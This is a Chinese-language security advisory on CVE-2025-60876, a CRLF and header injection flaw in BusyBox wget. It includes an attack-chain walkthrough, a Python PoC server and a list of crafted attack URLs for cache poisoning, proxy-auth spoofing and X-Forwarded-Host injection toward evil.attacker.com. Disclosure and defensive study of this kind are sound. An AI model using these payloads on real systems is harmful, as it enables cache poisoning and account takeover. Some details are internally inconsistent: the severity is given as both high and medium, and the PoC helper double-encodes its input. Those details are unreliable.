IPBUF安全漏洞报告
English
CVE-2025-60876 CVSS 6.5 中危

CVE-2025-60876: BusyBox wget HTTP请求走私和头部注入漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-60876
漏洞类型
HTTP请求走私/头部注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
BusyBox wget

相关标签

HTTP请求走私头部注入CRLF注入BusyBoxwget网络协议漏洞CVE-2025-60876嵌入式系统

漏洞概述

CVE-2025-60876是BusyBox wget 1.3.7及之前版本中的一个高危安全漏洞。该漏洞源于wget在处理HTTP请求时,未能正确过滤和验证HTTP请求目标(URI路径和查询字符串)中的控制字符。具体来说,wget接受了原始的CR(回车符,0x0D)、LF(换行符,0x0A)以及其他C0控制字符,这些字符本应在HTTP协议层面被禁止。攻击者可以利用此漏洞在HTTP请求中注入恶意的CRLF序列,从而在请求行之后注入额外的HTTP头部,实现HTTP请求走私攻击。这种攻击可能导致代理缓存污染、认证绕过、会话劫持等安全问题。由于该漏洞影响网络可达性且无需认证即可利用,对使用BusyBox wget的系统构成中等程度的安全威胁。CVSS 3.1评分6.5(中等严重程度),攻击向量为网络级别,复杂度低,无需特殊权限或用户交互。

技术细节

该漏洞的核心问题在于BusyBox wget对HTTP请求构建过程的输入验证不足。HTTP/1.1协议规范(RFC 7230)明确规定,请求行(Request-Line)的结构为:method SP request-target SP HTTP-version CRLF,其中SP代表空格字符(0x20),CRLF代表回车换行序列(0x0D 0x0A)。协议要求请求目标中不应包含控制字符,以防止请求行被意外截断或注入额外内容。然而,BusyBox wget在1.3.7及之前版本中,直接将用户提供的URL路径和查询字符串用于构建HTTP请求,未进行充分的字符过滤。攻击者可以通过在URL中嵌入CR(0x0D)和LF(0x0A)字符,使wget生成格式异常的HTTP请求。例如,一个包含%0D%0ACustom-Header:%20evil的URL路径,会在HTTP请求中产生额外的头部行。这种请求走私技术允许攻击者:1)在多跳网络环境中欺骗代理服务器,使其将单个请求解释为多个请求;2)污染Web缓存,导致用户获取恶意内容;3)绕过基于请求头的安全检查机制。由于空格字符(0x20)也可能被接受,攻击者甚至可以构造完全自定义的请求行结构。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标系统使用存在漏洞的BusyBox wget版本(<= 1.3.7),并确认可通过网络访问目标服务
STEP 2
步骤2: 构造恶意URL
攻击者构建包含CR(0x0D)和LF(0x0A)字符的恶意URL,例如在URL路径中嵌入%0D%0A序列,用于注入额外的HTTP头部
STEP 3
步骤3: 触发漏洞
目标系统使用存在漏洞的wget版本访问攻击者构造的恶意URL,wget将URL中的控制字符原样传递到HTTP请求中
STEP 4
步骤4: HTTP请求走私
wget生成的HTTP请求被CRLF注入分割成多个请求或包含攻击者注入的头部,可能欺骗代理服务器或后端服务
STEP 5
步骤5: 实现攻击目标
根据攻击场景不同,可能实现:缓存污染(使用户访问恶意内容)、代理欺骗(绕过访问控制)、或窃取敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-60876 PoC - BusyBox wget HTTP Request Smuggling via CRLF Injection # Affected: BusyBox wget <= 1.3.7 import http.server import socketserver import sys from urllib.parse import quote class CRLFHandler(http.server.BaseHTTPRequestHandler): ''' Malicious HTTP server that exploits BusyBox wget CRLF injection. This PoC demonstrates how an attacker can inject arbitrary HTTP headers by sending a URL with embedded CR (0x0D) and LF (0x0A) characters. ''' def do_GET(self): # Log the raw request to analyze the smuggling attempt print(f"[+] Received request for: {self.path}") print(f"[+] Raw headers: {self.headers}") # Check if CRLF injection was successful # Attacker's goal: inject 'Evil-Header' via URL path if 'Evil-Header' in self.headers: print(f"[!] CRLF INJECTION SUCCESSFUL!") print(f"[!] Injected header value: {self.headers.get('Evil-Header')}") # Attacker's payload could include: # - X-Forwarded-Host manipulation # - X-Real-IP spoofing # - Cache poisoning via X-Survive header # - Authentication bypass via X-Original-URI self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b'Vulnerable wget response\n') def generate_malicious_url(base_url, payload): ''' Generate malicious URL with CRLF characters. The %0D = CR (0x0D), %0A = LF (0x0A) ''' # Encode CR+LF to inject a new header encoded_payload = quote(payload) # %0D%0A -> %250D%250A in URL encoding malicious_url = f"{base_url}/{encoded_payload}" return malicious_url # Example attack vectors ATTACK_EXAMPLES = [ # Basic header injection "http://target.com/%0D%0AEvil-Header:%20malicious", # Cache poisoning attack "http://target.com/%0D%0AX-Survive:%20true%0D%0AX-Cache:%20HIT", # Proxy authentication bypass "http://target.com/%0D%0AX-Proxy-Authenticate:%20Basic%20YWRtaW46cGFzc3dvcmQ=", # Host header injection for password reset poisoning "http://target.com/%0D%0AX-Forwarded-Host:%20evil.attacker.com", ] if __name__ == '__main__': PORT = 8080 with socketserver.TCPServer(('', PORT), CRLFHandler) as httpd: print(f"[*] Malicious server running on port {PORT}") print("[*] Use BusyBox wget to request: http://localhost:8080/test%0D%0AEvil-Header:Injected") httpd.serve_forever() # On vulnerable BusyBox system, run: # wget 'http://target.com/path%0D%0AEvil-Header:Injected' # This will send: # GET /path\r\nEvil-Header: Injected HTTP/1.1 # Host: target.com # ... instead of the intended single request

影响范围

BusyBox wget <= 1.3.7

防御指南

临时缓解措施
如果无法立即升级BusyBox,可采取以下临时缓解措施:1)限制wget的使用场景,避免处理来自不可信源的URL;2)部署HTTP代理服务器对进出流量进行严格过滤,拒绝包含CRLF控制字符的请求;3)使用防火墙规则限制网络访问,防止利用wget漏洞进行攻击;4)监控HTTP流量日志,检测异常的请求格式;5)考虑使用其他功能完整且维护良好的wget实现替代BusyBox wget。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表